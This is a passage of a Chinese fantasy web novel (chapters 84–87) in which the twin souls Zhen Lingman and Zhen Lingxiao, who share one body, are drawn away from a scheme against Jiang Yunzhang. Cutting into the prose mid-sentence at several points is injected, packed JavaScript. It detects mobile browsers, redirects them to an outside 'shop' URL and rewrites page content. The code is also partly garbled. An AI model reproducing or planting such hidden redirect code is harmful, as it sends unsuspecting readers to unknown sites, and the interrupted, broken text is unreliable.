他们两个人几乎默认了杜凌霄的提议。因为甄令潇这个从未宣之于口的名字已经足以让双魂一体的两人重视杜凌霄的言语。就算是与甄令满构筑了合作协议的何伟铭，也不清楚甄令满体内那个拥有石玄城墨水加持，十分擅长武器研究的灵魂究竟叫什么名字。 甄令潇向来很少出现于人前，每次出现的时机也大都是战斗结束或是工作结束，周围的众人自然而然同样精疲力尽，根本注意不到刚才战斗着的同伴此时已经更换了灵魂。大都只会以为一点就炸和火药桶相似的甄令满终于能量耗尽，消停了下来。因此也根本不会不知眼色地与一看就十分疲劳的队友交谈，就更不会意识到二者之间的显著区别了。 “……好吧，我只是不讨厌她而已。”甄令满强调道，随后有些别扭地说道，“因为她是你的朋友。她和席雪时都是你好不容易遇到的朋友，哥哥一定会帮你维护友谊的！” 他显然在指甄令潇上线之前自己和席雪时为了不显得尴尬勉强维持着的聊天内容。 为了维持住妹妹与朋友们的友谊，甄令满不得不耐着性子打开讨厌的聊天记录，皱着眉头冥思苦想让自己的回应看起来不那么生硬。甄令潇一般做完自己感兴趣的研究之后就会迅速能量耗尽，在身体内部陷入睡眠，清醒着的时间实在是有限，因此甄令满有时没办法立马在妹妹的指导下发出友好的回复。 “谢谢。”甄令潇不到片刻就已经组装好了一个轮子，分出心神向哥哥道谢，“但是如果你也想和杜凌霄做朋友的话，最好在她面前也收敛一下自己的脾气。她已经能够区分我们两个人了。” “才不！”甄令满立刻毫不犹豫地拒绝道，“她说我是你愚蠢的哥哥！我才不会和杜凌霄做朋友！” “你不是吗？”甄令潇比对着轮子开始复刻。 联想到与何伟铭合作将妹妹与自己坑进墨水五区的罪魁祸首正是自己，甄令满不得不沉默以对。因为他找不到妹妹的任何逻辑漏洞。 甄令潇干脆利落地在轴体上安装好了两枚轮子：“你也不用自责，毕竟江云章身上的秘密实在是过多，就算是冯舞清也有所图谋。我们这样的边缘人物接触不到核心内容是正常情况。” 她不受胸腔内那股据沮丧心情所影响，动作迅速拼装完了自己的简易代步工具。已经轻了大半的背包直接被她堆在承重台上，立刻成为了一个拥有软垫的座位。再也不想负担任何重量的甄令潇一改慢吞吞的动作，干脆利落坐上背包，操纵着只有方向盘和两个轮子的简陋交通工具开始赶路。 要不是条件简陋材料不够，她真的很想在给自己做出一个能够躺平的空间，直接躺到墨水五区深处。 了解她秉性的甄令满十分可靠地说道：“潇潇你就睡吧，周围环境有我看着在呢！” 甄令潇干脆闭上了眼睛：“我制作的墨兽驱逐器直接被我按在了小车底部 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13078022|128167||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” 甄令满立刻夸赞了一句妹妹真能干。 昏昏欲睡的甄令潇没有对他的话语做出任何回应。已经被规划好路线的小车正沿着通讯器中给出的途径前行，再加上自制的墨兽驱逐器和已经提前携带好的墨水五区能量隔离设备，就算她直接睡过去也不会发生任何异常。 先天的精力不足导致制造完代步工具以后甄令潇便已经能量耗尽，于是安心放任自己在简陋的小车上睡了过去。 即便是她也弄不明白自己身上发生的事情到底有何原理，这样残缺不全的灵魂是否理应全部归结于先天不足，还是自己的特殊导致了自己的不完整性。她与甄令满在诞生之刻起便共用同一个躯体，灵魂依偎在一起茁壮成长，不可分割的关系使得她对现状接受程度极高，并不愿意将自己动不动便陷入睡眠的精力状态归类于一体双魂带来的负面影响。 他们的诞生及其偶然。 魂书族的新生儿都是由来自双亲的书页所构成，其中孕育出怎样的孩童已经通过科技得到了更加可控的结果。希望成为家长的魂书族可以自由选择自己所希望的孩童特点，借由姓名固定住新生的灵魂，为他们带来祝福和希望。 生命摇篮会给出许多种可用植物汁液作为选择交给前来创造孩子们的家长。他们可以随意混合自己汁液墨水的成分，随后将自己已经决定好的姓名用选定的植物汁液墨水写在魂书书页上。姓名会作为新生儿灵魂的锚点，诞生出继承了家长们美丽期望的婴儿。 其中，生命摇篮严格规定魂书书页上的姓名不可更改。直到婴儿诞生后的登记环节才会有再次命名改名的机会。因为姓名作为这些新生灵魂的第一个锚点，拥有绝对的不可代替性。 而甄家兄妹身上发生的偏差便诞生在这一环节。 他们的父母对于孩子的名字迟迟下不了定论。到底是叫甄令满，还是叫甄令潇？明明已经将甄令满写在了未来会诞生新生命的魂书书页上，偏偏又开始改变主意，突然觉得换做潇洒的潇也不错。毕竟水满则溢，过满总是会缺。倒不如做一个潇洒而自由的灵魂。 即将成为父亲的年轻人只考虑着对新生命的祝福，犹犹豫豫开始在满字的基础上添了几笔，试图将其修改为潇。 只是他尝试了半天，都只是将这个名字更改为了模模糊糊难以辨认的符号，最终连大字书写的甄令满看上去都已经没有了辨识度。于是他只能遗憾地放弃了自己的想法，将这张已经被改得面目全非的魂书书页放入了生命摇篮中的培育仓。 若是废弃这张书页，以他的书页储备，恐怕这辈子都无法再拥有一个孩子。所以实在是做不出放弃的选择。 他隔着培养仓的特质玻璃，突然又觉得删删改改的名字看上去变回了甄令满。 于是心生侥幸，不再多想。 反正拥有植物汁液，也拥有魂书书页，总不可能无法诞生生命吧？若是只因为写坏了一张书页便丢弃，那些太过奢侈。 更何况将文字写错涂改的肯定不止他一个，既然之前都没有出过什么大问题—— 那么这一次，也一定不会出现什么差错。 85. 084 杜凌霄在与甄令潇通话完毕后，向面露疑惑的队友们解释了一番自己行为的逻辑。 “刚才在江云章的启发下我已经弄明白了甄令满会与何伟铭合作的原因，自然也就找到能让他改变主意的方法。”凌霄不动声色观察着冯舞清的表情。 “你有多少成的把握？”江冥蝉注意到凌霄并没有主动说明更为详细的缘由，因此猜测可能涉及一部分甄令满的隐私，又或是依旧与冯舞清产生了微妙的联系。 “十成。”凌霄的语气里饱含自信，十分果断地说道。 以她对甄令潇的了解程度，对方绝对已经构思了无数个能够避免产生纠纷的方案。只要能让冷静聪颖的甄令潇来掌控现在的身体，就绝对不会像只擅长战斗从来不喜欢用脑子思考的甄令满那样被何伟铭蒙骗。更不会允许甄令满做出任何损害己方利益的事情。 甄令潇之前放任甄令满与何伟铭交易无非是信任自己兄长的武力值，就算何伟铭藏了一手也不会对他们造成太大的麻烦。但若是情况换成了自己的哥哥瞒着自己宁愿受伤死亡也要达到某个目的，那么向来不会产生任何主观能动性的甄令潇也一定会被逼着出手，制裁愚蠢的哥哥。 凌霄很早之前就猜到了甄令满与移翠院合作的缘由以及对生命摇篮十分感兴趣的原因。无非就是这对双生子在只有一个身体的现在需要另一个完整的身体来操控。作为主要身体掌控者的甄令满肯定一直没有放弃归还妹妹自由的想法，才会使他不知从何种渠道联系上了移翠院的研究。 但凌霄一直对移翠院许诺给甄令满的方式没有定论。她不清楚移翠院到底是用一种可能性还是用更加具体的方案忽悠了甄令满来为自己卖命。 倘若是前者，那么甄令满的忠诚度一定不高，正常抛出一些云苍城与积紫城的研究就能够引诱甄令满转变想法。但若是后者，他们已经拿到了拥有可行性的具体计划，那么策反甄令满的难度就会截然升高。除非拿出更加优秀的方案又或者是能够完全推翻何伟铭能力的证据，否则甄令满一定会继续走在敌对的阵营，并一根筋直接走到尽头。 不过考虑到何伟铭对完整生命体产生了巨大的兴趣，移翠院连冯舞清眼睛的问题都还没有解决，甄令满的灵魂分割就更不可能得到完善方案了。因此凌霄在与江云章的相关研究中迅速找到了让甄令满心动的分割方法，也迅速发觉了其中巨大的代价。 头脑简单为了妹妹的自由可以付出全部包括生命的甄令满不会在意自己需要付出的东西，但是冰雪聪明的甄令潇绝对不可能看着哥哥为了一个连半成品都算不上的可能性牺牲自己的一切。 只要将决定权交给甄令潇，那么对方一定能够立刻看出凌霄一方与何伟铭一方之间犹如天堑一般的差别，并迅速做出明智的判断。 考虑到二者之间巨大的性格差距，以及甄令潇向来只在意自己喜爱的研究，对其余事务基本不屑一顾的习惯。凌霄甚至推测甄令满估计还向甄令潇隐瞒了一部分事情，使得双生子中代表着智力的那一方对哥哥的愚蠢选择睁一只眼闭一只眼。 等简陋小车闯入凌霄几人的视野时，甄令潇还靠在方向盘上睡觉。通讯器在到达指定地点以后立刻发出了设定好的提示音，被打扰了休息的甄令潇不得不艰难地睁开了自己的眼睛。 于是她第一眼就注意到了站在江云章身旁的凌霄。 对方立于墨水五区少见的阳光之下也丝毫没有显出任何弱势，反倒是成功让耀眼的阳光成为了自己的陪衬品。身后广阔湖面造就的巨大空余成为了凌霄一个人的舞台，使得甄令潇不得不眯起了自己的眼睛仔细观察，才后知后觉注意到了凌霄身旁洋溢着愉快心情的江云章。 她没有改变自己的坐姿，依旧坐着背包靠着充当方向盘的简易长杆，在注意到冯舞清眼睛上的黑色绷带以后嫌弃地皱起了眉头。随后她确认了自己与另外几人之间的距离分外安全，这才主动开口说道： “我已经按照约定到达目的地，并且收回了自己的攻击性武器以表示诚意。在正式协商之前，能不能请杜小姐告诉我，你是怎么知道甄令潇这个名字的？” 她的目光牢牢锁定了凌霄的一举一动，不肯放过任何一个细节。 甄令潇无法否定当自己从旁人的嘴中听到自己的名字时，心头涌上的几分欣喜之情。她与哥哥皆是独一无二的个体，自然而然也同样希望别人能够分清在这个躯体中两个截然不同的灵魂。即便她早就已经接受了命运在她身上开的玩笑，到底还是无法抗拒自己真正的姓名。 她知道哥哥也一样。 所以克制不住自己脾气的哥哥才会努力将身体的控制权全部转移给了她，即便知晓墨水五区的危险都没有对她的决定生出任何异议。换在平常，担心她涉险的甄令满绝对不会让甄令潇处在这样危险的环境之中，一定会费劲千方百计，就算是在脑海内大喊大叫耍赖撒泼，也要让甄令潇回到最为安全的环境之中。 甄令潇这个名字对他们而言拥有完全不同的意义。 这是最终被父母舍弃了的名字，是父母在犹豫之中的第二选择，是几乎没有可能再次出现在外界的存在，是他们彼此都可望不可即的自由。被抛弃的甄令潇最后果然如同这个名字之中的含义一般，终究与自由潇洒无缘。 魂书族的特殊诞生方式导致没有人相信甄令满由于饱含情感导致像是发泄一般的言语。 父母告诉他生命摇篮的记录里他们只孕育出了一个生命，医生告诉他他的人形幻象完整而无任何异常，所谓的妹妹完全只是孩童的妄想。他们在仔细检检测了甄令满的身体之后，除了灵墨能量强大有溢墨症风险，需要调墨仪式治疗之外，没能得出任何有意义的结论。 魂书族的心理疾病由于会影响灵魂与心灵，也会显露在人形幻象的状态之上。甄令满的人形幻象没有表露出任何心理疾病的征兆，所以不属于幻觉和人格分裂之类的病症。 没有人相信甄令潇的存在。 医疗系统检测不出灵魂片段，完全信任生命摇篮的家长对孩童的玩笑只能露出有些尴尬的表情。除了互相埋怨到底是谁告诉了甄令满他们在命名时犹豫过甄令潇这个名字以外，他的双亲最终只是告诉他：甄令潇已经是过去的名字了，我们放弃了这个选项。 甄令满能够感受到妹妹静悄悄地闭上了眼睛。 但他的视觉依旧正常运转，将看到与听到的一切反馈给他的灵魂。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13095742|128167||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 父亲摸了摸他的头，语气温和地告诉他：“忘掉甄令潇这个名字吧。你就是甄令满，是我们的儿子。也是唯一的儿子。” 他大概以为是工作的繁忙导致了儿子的寂寞，为了引起大人的注意，懵懵懂懂用不知何时听到的名字来充当自己不存在的朋友。为了给予儿子以安全感，他试图用甄令满独一无二的地位让儿子开心起来。 “或者如果你真的想要一个妹妹，我和妈妈可以去领养。”父亲再次站起身，牵着他的手向前走去，“这样你就可以有一个叫甄令潇的……” “我不要！”甄令满立刻大声地拒绝道，“我不要！不要！” 甄令潇的声音越来越微弱了。 他最开始还能感受到她兴致勃勃透过自己的眼睛观察着医院的布局与摆设，并且迅速猜出了那些巨大仪器的作用。她告诉他医生大概是将他当做了无理取闹的孩子，因此努力拿出了全部的耐心，试图安抚为了引起大人注意力而撒谎的孩子。她比他更快意识到医院的判决已经代表了一切，父亲和母亲绝对不可能动摇。 于是她一改面对医院时的跃跃欲试与好奇，变得安静下来。 他们都在告诉他甄令潇不存在。 可是如果甄令潇不存在，从自己出生以来感受到的另一个存在是谁？日日夜夜陪伴着自己长大，自己不可或缺的一部分又是谁？能够说出好多自己听不懂的道理，永远比自己先读完书还能全文背诵的又是谁？ 别说了。 甄令潇语气平淡地让他闭嘴。 你这样发泄情绪，只会让他们对自己的判断更加坚定不移。认为你是一个只会无理取闹的小孩子。 可是你就在这里啊！你是我的妹妹，你叫甄令潇！ 他们不相信就不相信吧。反正我也不会因为他们的判断就彻底消失。他们察觉不到我的存在，我还不想搭理他们这些故步自封冥顽不灵的大人呢。 冥顽不灵是什么意思？ ……我算是相信我们是两个截然不同的个体了。我是不可能蠢成这个样子的。 我才不蠢！我比坐在我旁边那个只会叽叽喳喳的家伙可强多了，连老师都夸我聪明呢。 ……那是因为只有你只顾着吃饭完全没有挑剔老师不小心煮的那么难喝的能量汤。他是在心虚。 好麻烦我听不懂。我只是想告诉他们你也在的啊，为什么爸爸妈妈还有医生他们都不相信呢？ 因为他们也很愚蠢。不用理会他们。以后也别和他们说与我相关的话题了，不然他们说不定真的会把你当做有问题的孩子。你现在就已经够蠢了，可不能再给你加个有妄想症的标签。 好吧。 这是为了你，这是为了我……你明白吗？他们只相信自己的判断，不会相信我们的话。如果让他们察觉到我们的异常，一切就会变成我们的错误。他们会想方设法消除这些错误的。我们现在需要韬光养晦等到时机摆脱他们，才能做自己想做的事情。 呃……嗯……不能和他们说潇潇。 很好，你真是个好哥哥。 我是潇潇的哥哥！嘿嘿，潇潇终于叫我哥哥了！ ……算了。就这样吧。我睡觉了。 86. 085 “很简单。这不是我在与甄令满第一次见面时，由他亲口告诉我的吗？”凌霄平缓地解释道，“制作我书页武器的工匠是红黑混色，代号为‘潇’，看到甄令满后我便向他询问，而他犹豫了一瞬间才承认了自己的身份。” 根据答案得出过程实在是太过容易，凌霄分分钟就能找到许多蛛丝马迹。 混色的工匠人数并不算多，考虑到甄令潇与自己的缘分。最开始凌霄便已经确认了为自己制作书页武器的一定是对方，向甄令满询问也只不过是想要知道熟人的近况。万万没有想到甄令满竟然冒名顶替，在略微迟疑之下承认了绝对不可能的工匠身份。 以甄令满毫无耐心不想动脑只用直觉生存的性格，相信他能打造一把武器，不如相信太阳明天就会从西边升起。 “最开始我不太理解甄令满的迟疑，但随着相处时间加深，我逐渐意识到了他在战斗结束后以及涉及武器话题时截然不同的状态，和更加理性精准的用词。正常情况的甄令满脾气暴躁没有耐心，但喜爱武器的另一种状态能够冷静思考。让我觉得自己好像在与两个人相处。” 这并非是谎言，因为知晓甄令潇存在的凌霄一直在甄令满身上观察那个不见踪影灵魂的去处。 “你同雪时交流的时候明显对生命摇篮十分感兴趣。雪时的母亲是生命摇篮的工作人员，能够算得上是见多识广，知晓许多魂书族在诞生之时可能出现的问题与情况。而你身上出现的疑点则是可以印证你也可能是生命摇篮特殊状况中的一员。”凌霄望着甄令潇平静无波的表情，为自己的发言交上了最终的决定性证据。 “当然，最终让我确认自己猜测的还是你身上红黑混色的眼睛。调墨仪式给予混色者的加持大多是层层累计相互共存，但刀赤城的红色与玄石城的黑色在你身上却是截然分开的表现。”凌霄抬手指了指自己紫红色的绚烂眼瞳，“紫红混色为我带来了清晰明朗的思考环境与高出常人的身体素质。但红黑混色在你身上并没有表现出融合共存。只有甄令满得到了刀赤城的墨水加持，身体素质大幅度提高精通战斗，也只有甄令潇得到了石玄城的墨水加持，擅长设计锻造。” “综上所述，我认为一直与我相处的甄令满，实际上是两个人。” 红黑的眼瞳令两种颜色交融在一起，看上去亲密无比的同时却又泾渭分明，代表着两个独一无二的灵魂。半眯着眼睛的甄令潇正好让黑色的虹膜占据了大部分，使得这张现在昏昏欲睡的脸庞没有表露出任何属于红色瞳孔的攻击性。 “你很厉害。”甄令潇不得不承认凌霄的优秀，“至今为止，你是第一个自主意识到我存在的人。就连何伟铭也是在我与哥哥接受调墨仪式后才意识到了我真正存在。” 魂书族对于灵魂的判断便是如此浅薄，对于灵魂观念早已根深蒂固的众人根本不会相信一体双魂的存在。这也导致甄令潇早就已经放弃了让无知的外人来决定自己的存在与价值。只有甄令满一个人还在一意孤行，试图找到让天赋独一无二理应受人追捧的妹妹真正获得自由的方式。 “哦？原来冷气小姐真是另外一个灵魂啊。”之前一直安安静静听着凌霄与甄令潇交涉的冯舞清突然出声说道，“真是令人惊讶的奇迹。原来这个世界上真有一体双魂这样神奇的事情……但我的眼睛竟然无法发觉。” 最后的抱怨被她咬牙碾碎，含在了唇齿之间。除了她自己之外没有人听到。只有猜测她一定又开始埋怨自己看不到人间真实的凌霄抬头看了她一眼。 一直以为甄令满的脾气是时坏时好根本没有意识到其中差别的江云光安静地充当背景板。她之前还有些疑惑凌霄为何坚定地认为甄令满也与何伟铭有过合作，现在看来甄令满身上隐藏着的秘密还不小。 “既然我已经拿出了自己的诚意，那么也就是说我们现在构筑出了基本的信任，我的言语你会认真考虑了吧？”凌霄没有忘记自己的本意，乘胜追击。 “当然。我很好奇既然知道了我与哥哥身上的复杂情况，你又能拿出什么动摇我们决定的事实。”甄令潇缓缓点了点头，依旧是一副有些疲倦的模样，“何伟铭本就没有承诺过我们一定能够找到成功的方法，这次前往墨水五区除了按照要求运送武器之外，更多是我自己想要尝试一下墨水五区的环境会对这具身体造成什么样的影响。” 凌霄摇了摇头：“我对你研制武器的能力有信心，何伟铭定制的恐怕都是能够对人形幻象造成伤害的武器。现在已经变成了刀赤城与移翠院之间的博弈，何伟铭恐怕根本就没有告诉过你们他的目的是杀死江云章。如果你哥哥牵扯在其中，完全是给移翠院提供了一个能够挡枪的好助手。而被背叛的刀赤城绝对不会选择提供庇护。” 甄令潇的脸上总算浮现出了更为明显的表情。她确实不知道何伟铭计划着要江云章的性命，否则根本不会默认甄令满这个根本学不会动脑筋的家伙牵扯进这么复杂的事情。 凌霄继续好心为甄令潇分析现在的局势：“你所携带的武器皆不致命，但为了保护甄令满，你也肯定让他携带上了威力极大的武器。何伟铭冲着江云章的性命来到墨水五区，这里很快就会产生混战，届时一个疏忽大意死去的江云章需要有人来承担责任。你们身上的墨水加持天然就代表着你们的阵营不属于移翠院需要维护的一方，只要说是刀赤城正常发生的内乱余波，这件事就会和移翠院无关。” “而甄令满就会顺势变成杀害江云章的凶手。” “他没有这个意图。”甄令潇替自己的哥哥辩解道，“我们确实携带了许多未被登记的新型武器，但我们收到的指令仅仅只是为移翠院的研究人员提供保护，从来没有谋害江云章的意图。” 甄令满就算再蠢，也不是什么杀人不眨眼的恶魔。做不出违背法律与道德的恶劣事件。 甄令潇很快就想清楚了这个陷阱的逻辑：“我的未登记武器会变成违规制品，而我哥哥的战斗能力则会变成他杀人的证据……何伟铭的算盘打得倒是响 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13114267|128167||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 亮。” 她深吸一口气，试图让自己迅速冷静下来分析现有的情况。至少最糟糕的事情都还没有发生，现在掌控这具躯体的还是自己。而甄令满自然已经在心里开始大骂何伟铭不干人事了。 这是她的疏忽，以为按照甄令满的武力值不会遇到太过棘手的问题，这才没有检查过甄令满的决定。以至于差点就将可能把他们两个人一起坑进去的陷阱忽视。 凌霄给了甄令潇缓冲的时间，见她差不多调整好自己的状态之后，继续开口道：“还没有结束。你们最开始与何伟铭合作的契机恐怕也是一个不折不扣的骗局。他给出的具有可行性的方案恐怕是分离血液从而分割你们的灵魂吧。” 甄令潇沉默地点了点头。这是甄令满与何伟铭之间的合作，她只听过一二。 “这个方案的风险极大，可以参考血兽被击杀时的状态。从血兽身上被剔除的部分可全部都是不完整的断臂残肢，甚至还是随机出现。就算你们达到了何伟铭所说完美生命体的标准，将你完完整整剥离出来，也只不过是改换了主体，剩下的甄令满又会变成什么状态？”凌霄一边说着一边摇了摇头，“甄令满，你恐怕从来没有告诉过你妹妹血兽被击杀时到底是什么模样吧？” 涉及战斗方面的事情甄令潇从来都是懒得参与，所以也给甄令满提供了漏洞，让他可以将这一部分内容完美隐藏。作为混色，甄令满并不经常出入墨水区，遇上血兽的机会也算不上多。再加上每次遇到血兽都会有令人筋疲力竭的战斗，本就精力不足的甄令潇就更不会去在意战斗场上惨不忍睹的状况了。 甄令潇已经感受到了自己心中的心虚之情。说明凌霄的话语句句属实。 她第一次瞪大了眼睛，甚至有些不敢相信现在的状况。 哥哥竟然真的成功隐瞒了自己这么重要的事情？ 不少平日里被她由于懒惰忽视的蛛丝马迹浮上心头，太多需要思考的事情一下子涌上甄令潇的脑海，成功让她本就昏昏欲睡的状态变得更加糟糕。 她伸出手揉了揉自己的太阳穴，没有理会自己现在一片寂静的脑海：“谢谢提醒，我会好好与甄令满交流的。与何伟铭之间的合作也会直接作废，如果你们需要武器的话，可以从我这里挑选。” 感受到她层层高涨的怒火，一直装死当做自己不存在的甄令满终于战战兢兢小心翼翼地发言：潇潇，你还好吗？ 不好。 甄令潇一边分神与凌霄凌霄继续交流下一步的计划，一边在脑海里与甄令满吵架。 现在我们这样已经背离了刀赤城的靶子出现在墨水五区，只要江云章死了就算是我们什么都没有做最后都会被何伟铭变成我们的过错。除了保护江云章以外我们几乎没有其余选项，怪不得杜凌霄一定要在我们到场以后才开始正式谈判。她的算盘倒也挺响。 她…… 你闭嘴，等事情结束以后我再收拾你。杜凌霄的话果真没有出错，我怎么会有这么愚蠢的哥哥！ 87. 086 鉴于甄令潇优秀的头脑和敏锐的判断能力，一旦从被蒙蔽的状态剥离，几乎立马就看透了最近风波的本质，以及自己哥哥被何伟铭彻底当做弃子的谋划。于是她没用多少时间就直接表明了愿意合作的态度，将装有海水的危险武器直接原地销毁。 “何伟铭果然让你们带上了这种危险的东西。”凌霄满意地观察着可能威胁到江云章性命的一个个武器被其主人拆解成了细碎的零件。而江家的兄妹则是对甄令潇自主研发武器的威力感到了后怕。光是会化成海水雾气的子弹甄令潇就准备了不少，还有能够发射毒液与海水混合物的匕首、血槽中藏着固态海水的长剑等等，令人防不胜防。 反而是一直以来都十分相信甄令潇技术能力的凌霄，对她研制出来的这些杀伤力巨大的武器并没有感到任何惊讶。 为了挽救甄令满背叛刀赤城带来的负面影响，甄令潇一边拆解武器显露自己的安全性，一边解释了几句自己原本的计划：“我携带海水只是因为何伟铭告诉我墨水五区环境特殊，会导致向海水这样能够造成海墨互斥现象的液体能够扰乱周围的能量场，从而成为决定性的武器。在此之前我都不清楚海水会让江云章先生出现性命危机，否则我绝对不会带上这些东西。” 她听着自己兄长对何伟铭的亲切问候，在注意到江家兄妹的表情后，为了让他们安心又多说了几句：“这些海水弹药都是我自己研究出来的样品，并没有提供给何伟铭。他身上应该没有威力这么大的海水子弹。” “但他应该也会携带一些远程武器。”凌霄早已经分析完了何伟铭可能采取的行动，“我们安排在移翠城方向墨水区的人会拦住一部分他的手下，最后保证将他送到我们面前。提前与他们交手的人能够引出他们携带的远程的武器，让我们提前做好准备。” 积极弃暗投明的甄令潇立刻说道：“我可以用现在手上的材料将我的能量探测器改装成海水能量探测器，到时候可以直接得出何伟铭与他爪牙身上的海水存量。” “那就交给你了。”凌霄没有掩饰自己对甄令潇能力的信任，立马拍板决定。这样迅速的决断让甄令潇没有忍住抬头又看了她一眼。 “你为我制作的长枪现在可是成为了我最顺手的武器，所以相信你的能力难道不是一件很正常的事情吗？”凌霄冲着化敌为友的甄令潇微微一笑，在意识到这二人没有对江云章动杀念之后，她便已经重新接纳了短暂与她走上不同道路的旧友。疑人不用，用人不疑的道理她十分清楚。若是已经决定与甄令潇合作，自然应该拿出相应的诚意。 甄令潇沉默了一瞬。她确实无法拒绝这样纯粹的信任，以及对她能力的肯定。她无法脱离甄令满存在的现状注定了过去的那些人总是无法将她与哥哥分清，因此那些称赞也从对她个人的称赞变成了对他们二人整体的褒奖。她已经听腻了没想到你既擅长战斗又擅长锻造武器，实在是个全能的天才之类的夸奖。于是更加无法拒绝这样对着甄令潇单独的信任。 只属于甄令潇的信任，对她而言多么珍贵。 “……嗯。”甄令潇轻声应道，“我会尽快交给你的。” 她不知道该用什么样的态度去与凌霄相处，于是便将对方当做了在自己这里定制武器的顾客，尽量做出了礼貌的回应。只是已经告急的能量再次令她昏昏欲睡提不起精神。这是她第一次在接受了无法改变的现实之后，对继续存活的现实世界生出了些许留恋与不舍。逐渐开始产生黑雾的视野中，她固执地盯着自己依旧在运作的手指。 她低垂着头，正欲向哥哥借些能量维持自己的活动，却发现胸腔之中已经涌上了一股热度，使得她困顿的大脑也一起清明了起来。 加油。在墨水五区保护好自己，身体和能量我都交给你了。 她勉强克制住自己嘴角的笑意，同时也成功忍耐住了涌上自己眼眶的热意。正是因为知晓卷进这样灾祸的源头是哥哥为了自己愿意付出一切，她才无法责备识人不清的甄令满。 至少为了多年以前他们共同的心愿，自己愚蠢的哥哥依旧还在为此坚持不懈的努力。反而是自诩聪明绝顶的自己早就放弃了一切，甚至居高临下有些瞧不起甄令满作为既得利益者的坚持。 她在心灰意冷意识到自己永远不可能拥有自己的身体之后，便自暴自弃几乎斩断了与外界所有的联系。每日除了研究武器之外对所有的事情都不予理睬，对甄令满的所有安排都毫不理会。才会使得她在最后关头经过凌霄的提醒才终于注意到甄令满差点为了一个缥缈的可能性成为杀人凶手。 也许他们是时候好好沟通一下了。 甄令潇默默活动着自己重新拥有力量的手指，将显示屏从自己的简易代步车上拆解了下来。成为了另一部新生机器的崭新框架。 另一边还处在束缚状态的冯舞清，因为有了甄令潇的待遇做对比，开始对自己的境况发表不满：“为什么冷气小姐这么快就得到了信任，我这个诚意满满前来合作的人却要被绑在这里？凌霄，你对我也太不公平了！” “因为甄令满从头到尾都没有考虑过要江云章的性命，但你就不一定了。”凌霄对甄令潇的组装过程十分好奇，因此守在对方身边观察着对方的举动。听到冯舞清的抱怨后便回复道。 被抢走了凌霄注意力的江云章有些幽怨地看了眼甄令潇，然而沉浸在自己世界的工匠根本没有理会他。只有一直藏在这具身体里的甄令满发现了端倪，只可惜为了保持妹妹的专注力，他正处在安分守己保持寂静的模式，只能静悄悄地嘲笑江云章脸上的表情。 “我现在也没有想要了，难道还不可以吗？”冯舞清立马说道。 江云光原本正在查看刀赤城守卫者给出的何伟铭相关汇报，听到这句话以后主动帮凌霄转移了冯舞清的注意力：“没关系，何伟铭就快到了，事情结束你也就很快能解放了。” 由于身上本就携带了海水样本，甄令潇制造海水能量探测仪的速度便立马加快了许多。再加上甄令满将自己全部的能量 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13126653|128167||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 与身体使用权都交给了妹妹，她很快就制作出了探测仪的第一版本形态，并立刻开始投入测试。 凌霄拿着刚从能量场中提取的墨水能量液体，在甄令潇的周围撒了一圈，手动将还未逸散的海水能力圈定在了一定范围内部。甄令潇满意地观察到了检测仪成功显示出了刚才在研制中所用到的海水能量，并在出了范围之内变成了无。 她继续扩大探测范围，在得到反馈之后却皱起了自己的眉头。理应不存在海水能力的地方出现了探测反应。江家人在临时根据地守卫了那么久，怎么可能遗留下出了自己携带之外的海水能量？因此甄令潇第一反应便是自己的探测仪很大概率出现了故障。 一直留意着她举动的凌霄凑到了她身边：“怎么了？发现了什么问题吗？” “估计是我的第一版本出现了故障，所以才会……”甄令潇有些不愿意相信自己的技术竟然会出现如此明显的问题，顺着显示的方向，一眼就看到了带着黑色绷带好不容易陷入安静状态的冯舞清。她瞬间没了言语。 凌霄也已经根据显示器上分明的文字得出了相应的结论。她本就怀疑冯舞清还有底牌没有使用出来，因此才会即便成为了合作状态也没有取下束缚着冯舞清的绳索。探测仪显示出来的情报显然应该是正确的判断。他们之前简略的搜身似乎依旧没能彻底排除冯舞清携带着的海水。 凌霄用眼神暗示甄令潇转移话题，顺带拍了拍她的手当做让她认下自己技术失误的安慰：“看起来确实如此，要辛苦你继续研究了。” 